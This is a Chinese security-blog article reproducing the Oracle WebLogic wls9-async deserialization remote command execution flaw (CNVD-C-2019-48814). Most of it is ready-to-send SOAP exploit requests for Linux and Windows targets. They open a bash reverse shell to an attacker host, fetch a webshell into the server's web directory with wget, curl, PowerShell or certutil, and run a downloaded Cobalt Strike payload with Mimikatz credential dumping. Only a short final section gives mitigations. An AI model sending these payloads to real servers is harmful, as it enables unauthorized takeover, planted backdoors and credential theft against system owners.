首页 > 知识 > 修改
【页面双击滚屏】
标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2502]   作者: ecawen 发表于: [2019-11-06]

本文共 [505] 位读者顶过

0x1.背景
首先，CNVD收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞（CNVD-C-2019-48814）。[出自:jiwo.org]
0x2.漏洞描述
攻击者利用该漏洞，可在未授权的情况下远程执行命令。从相关信息来看。 部分版本WebLogic中默认包含的wls9_async_response包，为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷，攻击者可以发送精心构造的恶意 HTTP 请求，获得目标服务器的权限，在未授权的情况下远程执行命令。 也就是说漏洞出现在 wls9_async_response.war 这个包里面，来详细看一看。
0x3.影响范围 
主要影响以下版本：
WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3
0x4.复现漏洞环境 
而今天复现的就是第一个版本，即WebLogic Server 10.3.6.0(wls1036_generic.jar)。
Kali2019\Win10(关闭安全中心实时防护下)
漏洞组件：bea_wls9_async_response.war
漏洞路径:http://ip:port/_async/AsyncResponseService
漏洞确认:访问漏洞路径存在以下页面，即有可能存在漏洞
WebLogic高危漏洞复现.png
漏洞利用(所有利用都需要被攻击机能够访问公网)：
所有的POST报文都可以使用burpsuite完成，burpsuite破解、汉化、插件等相关教程：传送门
一、Linux下：
1、反弹shell
POST如下报文即可：
    
	
	
  1. 
		POST /_async/AsyncResponseService HTTP/1.1
	
    2. 

	
  2. 
		Host: ip:port
	
    3. 

	
  3. 
		Content-Length: 853
	
    4. 

	
  4. 
		Accept-Encoding: gzip, deflate
	
    5. 

	
  5. 
		SOAPAction:
	
    6. 

	
  6. 
		Accept: */*
	
    7. 

	
  7. 
		User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
	
    8. 

	
  8. 
		Connection: keep-alive
	
    9. 

	
  9. 
		content-type: text/xml
	
    10. 

	
  10. 
		 
	
    11. 

	
  11. 
		<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> 
	
    12. 

	
  12. 
		<soapenv:Header> 
	
    13. 

	
  13. 
		<wsa:Action>xx</wsa:Action>
	
    14. 

	
  14. 
		<wsa:RelatesTo>xx</wsa:RelatesTo>
	
    15. 

	
  15. 
		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
	
    16. 

	
  16. 
		<void class="java.lang.ProcessBuilder">
	
    17. 

	
  17. 
		<array class="java.lang.String" length="3">
	
    18. 

	
  18. 
		<void index="0">
	
    19. 

	
  19. 
		<string>/bin/bash</string>
	
    20. 

	
  20. 
		</void>
	
    21. 

	
  21. 
		<void index="1">
	
    22. 

	
  22. 
		<string>-c</string>
	
    23. 

	
  23. 
		</void>
	
    24. 

	
  24. 
		<void index="2">
	
    25. 

	
  25. 
		<string>bash -i &gt;&amp; /dev/tcp/vpsip/vpsport 0&gt;&amp;1</string>
	
    26. 

	
  26. 
		</void>
	
    27. 

	
  27. 
		</array>
	
    28. 

	
  28. 
		<void method="start"/></void>
	
    29. 

	
  29. 
		</work:WorkContext>
	
    30. 

	
  30. 
		</soapenv:Header>
	
    31. 

	
  31. 
		<soapenv:Body>
	
    32. 

	
  32. 
		<asy:onAsyncDelivery/>
	
    33. 

	
  33. 
		</soapenv:Body></soapenv:Envelope>
	
    34.

Linux下反弹shell.jpg

2、上传webshell

  1. 放置一个webshell.txt到公网
  2. POST以下报文 任选其一
报文一：
    
	
	
  1. 
		POST /_async/AsyncResponseService HTTP/1.1
	
    2. 

	
  2. 
		Host: ip:port
	
    3. 

	
  3. 
		Content-Length: 789
	
    4. 

	
  4. 
		Accept-Encoding: gzip, deflate
	
    5. 

	
  5. 
		SOAPAction:
	
    6. 

	
  6. 
		Accept: */*
	
    7. 

	
  7. 
		User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
	
    8. 

	
  8. 
		Connection: keep-alive
	
    9. 

	
  9. 
		content-type: text/xml
	
    10. 

	
  10. 
		 
	
    11. 

	
  11. 
		 
	
    12. 

	
  12. 
		<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> 
	
    13. 

	
  13. 
		<soapenv:Header> 
	
    14. 

	
  14. 
		<wsa:Action>xx</wsa:Action>
	
    15. 

	
  15. 
		<wsa:RelatesTo>xx</wsa:RelatesTo>
	
    16. 

	
  16. 
		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
	
    17. 

	
  17. 
		<void class="java.lang.ProcessBuilder">
	
    18. 

	
  18. 
		<array class="java.lang.String" length="3">
	
    19. 

	
  19. 
		<void index="0">
	
    20. 

	
  20. 
		<string>/bin/bash</string>
	
    21. 

	
  21. 
		</void>
	
    22. 

	
  22. 
		<void index="1">
	
    23. 

	
  23. 
		<string>-c</string>
	
    24. 

	
  24. 
		</void>
	
    25. 

	
  25. 
		<void index="2">
	
    26. 

	
  26. 
		<string>wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
	
    27. 

	
  27. 
		</void>
	
    28. 

	
  28. 
		</array>
	
    29. 

	
  29. 
		<void method="start"/></void>
	
    30. 

	
  30. 
		</work:WorkContext>
	
    31. 

	
  31. 
		</soapenv:Header>
	
    32. 

	
  32. 
		<soapenv:Body>
	
    33. 

	
  33. 
		<asy:onAsyncDelivery/>
	
    34. 

	
  34. 
		</soapenv:Body></soapenv:Envelope> 
	
    35.
报文二：
    
	
	
  1. 
		POST /_async/AsyncResponseService HTTP/1.1
	
    2. 

	
  2. 
		Host: ip:port
	
    3. 

	
  3. 
		Content-Length: 789
	
    4. 

	
  4. 
		Accept-Encoding: gzip, deflate
	
    5. 

	
  5. 
		SOAPAction: 
	
    6. 

	
  6. 
		Accept: */*
	
    7. 

	
  7. 
		User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
	
    8. 

	
  8. 
		Connection: keep-alive
	
    9. 

	
  9. 
		content-type: text/xml
	
    10. 

	
  10. 
		 
	
    11. 

	
  11. 
		 
	
    12. 

	
  12. 
		<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
	
    13. 

	
  13. 
		 
	
    14.
3、访问webshell

http://ip:port/_async/webshell.jsp

Linux下访问shell.png

二、Windows下 
1、反弹shell
可直接使用黑客工具-后渗透工具-CobaltStrike生成一个payload.ps1 powershell脚本，将该脚本放到公网上，然后使用如下报文即可
    
	
	
  1. 
		POST /_async/AsyncResponseService HTTP/1.1
	
    2. 

	
  2. 
		Host: ip:port
	
    3. 

	
  3. 
		Content-Length: 861
	
    4. 

	
  4. 
		Accept-Encoding: gzip, deflate
	
    5. 

	
  5. 
		SOAPAction:
	
    6. 

	
  6. 
		Accept: */*
	
    7. 

	
  7. 
		User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
	
    8. 

	
  8. 
		Connection: keep-alive
	
    9. 

	
  9. 
		content-type: text/xml
	
    10. 

	
  10. 
		 
	
    11. 

	
  11. 
		<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> 
	
    12. 

	
  12. 
		<soapenv:Header> 
	
    13. 

	
  13. 
		<wsa:Action>xx</wsa:Action>
	
    14. 

	
  14. 
		<wsa:RelatesTo>xx</wsa:RelatesTo>
	
    15. 

	
  15. 
		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
	
    16. 

	
  16. 
		<void class="java.lang.ProcessBuilder">
	
    17. 

	
  17. 
		<array class="java.lang.String" length="3">
	
    18. 

	
  18. 
		<void index="0">
	
    19. 

	
  19. 
		<string>cmd</string>
	
    20. 

	
  20. 
		</void>
	
    21. 

	
  21. 
		<void index="1">
	
    22. 

	
  22. 
		<string>/c</string>
	
    23. 

	
  23. 
		</void>
	
    24. 

	
  24. 
		<void index="2">
	
    25. 

	
  25. 
		<string>powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"</string>
	
    26. 

	
  26. 
		</void>
	
    27. 

	
  27. 
		</array>
	
    28. 

	
  28. 
		<void method="start"/></void>
	
    29. 

	
  29. 
		</work:WorkContext>
	
    30. 

	
  30. 
		</soapenv:Header>
	
    31. 

	
  31. 
		<soapenv:Body>
	
    32. 

	
  32. 
		<asy:onAsyncDelivery/>
	
    33. 

	
  33. 
		</soapenv:Body></soapenv:Envelope>
	
    34. 

	
  34. 
		 
	
    35.
win下反弹shell.jpg

2、上传webshell
  1. 放置一个webshell.txt到公网
  2. 使用以下报文 任选其一均可

报文一:

    
	
	
  1. 
		POST /_async/AsyncResponseService HTTP/1.1
	
    2. 

	
  2. 
		Host: ip:port
	
    3. 

	
  3. 
		Content-Length: 854
	
    4. 

	
  4. 
		Accept-Encoding: gzip, deflate
	
    5. 

	
  5. 
		SOAPAction: 
	
    6. 

	
  6. 
		Accept: */*
	
    7. 

	
  7. 
		User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
	
    8. 

	
  8. 
		Connection: keep-alive
	
    9. 

	
  9. 
		content-type: text/xml
	
    10. 

	
  10. 
		 
	
    11. 

	
  11. 
		<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:port/webshell.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
	
    12. 

	
  12. 
		 
	
    13.
报文二：

    
	
	
  1. 
		POST /_async/AsyncResponseService HTTP/1.1
	
    2. 

	
  2. 
		Host: ip:port
	
    3. 

	
  3. 
		Content-Length: 854
	
    4. 

	
  4. 
		Accept-Encoding: gzip, deflate
	
    5. 

	
  5. 
		SOAPAction:
	
    6. 

	
  6. 
		Accept: */*
	
    7. 

	
  7. 
		User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
	
    8. 

	
  8. 
		Connection: keep-alive
	
    9. 

	
  9. 
		content-type: text/xml
	
    10. 

	
  10. 
		 
	
    11. 

	
  11. 
		<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> 
	
    12. 

	
  12. 
		<soapenv:Header> 
	
    13. 

	
  13. 
		<wsa:Action>xx</wsa:Action>
	
    14. 

	
  14. 
		<wsa:RelatesTo>xx</wsa:RelatesTo>
	
    15. 

	
  15. 
		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
	
    16. 

	
  16. 
		<void class="java.lang.ProcessBuilder">
	
    17. 

	
  17. 
		<array class="java.lang.String" length="3">
	
    18. 

	
  18. 
		<void index="0">
	
    19. 

	
  19. 
		<string>cmd</string>
	
    20. 

	
  20. 
		</void>
	
    21. 

	
  21. 
		<void index="1">
	
    22. 

	
  22. 
		<string>/c</string>
	
    23. 

	
  23. 
		</void>
	
    24. 

	
  24. 
		<void index="2">
	
    25. 

	
  25. 
		<string>certutil -urlcache -split -f http://ip:port/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
	
    26. 

	
  26. 
		</void>
	
    27. 

	
  27. 
		</array>
	
    28. 

	
  28. 
		<void method="start"/></void>
	
    29. 

	
  29. 
		</work:WorkContext>
	
    30. 

	
  30. 
		</soapenv:Header>
	
    31. 

	
  31. 
		<soapenv:Body>
	
    32. 

	
  32. 
		<asy:onAsyncDelivery/>
	
    33. 

	
  33. 
		</soapenv:Body></soapenv:Envelope>
	
    34. 

	
  34. 
		3.访问webshell
	
    35. 

	
  35. 
		http://ip:port/_async/webshell.jsp
	
    36. 

	
  36. 
		 
	
    37.
win下访问shell.jpg
(注：上述报文中servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/为默认路径，如果路径修改，可以配合反弹shell进行获取)
0x5.缓解措施
高危：预计网上很快会有该远程代码执行漏洞的POC，建议尽快升级软件和使用连接筛选器临时拒绝T3/T3s协议。
建议尽快安装安全更新补丁（可以使用BSU智能更新）或使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议：
连接筛选器：weblogic.security.net.ConnectionFilterImpl
规则示例： 0.0.0.0/0 * 7001 deny t3 t3s#拒绝所有访问
允许和拒绝指定IP规则示例：
192.168.1.0/24 * 7001 allow t3 t3s#允许指定IP段访问
192.168.2.0/24 * 7001 deny t3 t3s#拒绝指定IP段访问
连接筛选器说明参考：
https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377
威胁推演：此漏洞为远程代码执行漏洞，基于全球使用该产品用户的数量和暴露在网上的端口情况，恶意攻击者可能会开发针对该漏洞的自动化攻击程序、黑客工具，实现漏洞利用成功后自动植入后门程序，并进一步释放矿工程序或是DDOS僵尸木马等恶意程序，从而影响到网站服务的正常提供。
安全运营建议：Oracle WebLogic历史上已经报过多个安全漏洞（其中也有反序列化漏洞），建议使用该产品的企业经常关注官方安全更新公告。

评论

暂无
发表评论
 返回顶部 
热度(505)
顶 踩
 关注微信 
v1.4 by jiwo@jiwo.org   Copyright © 2016-2046 机窝安全   
京ICP备16002041号-2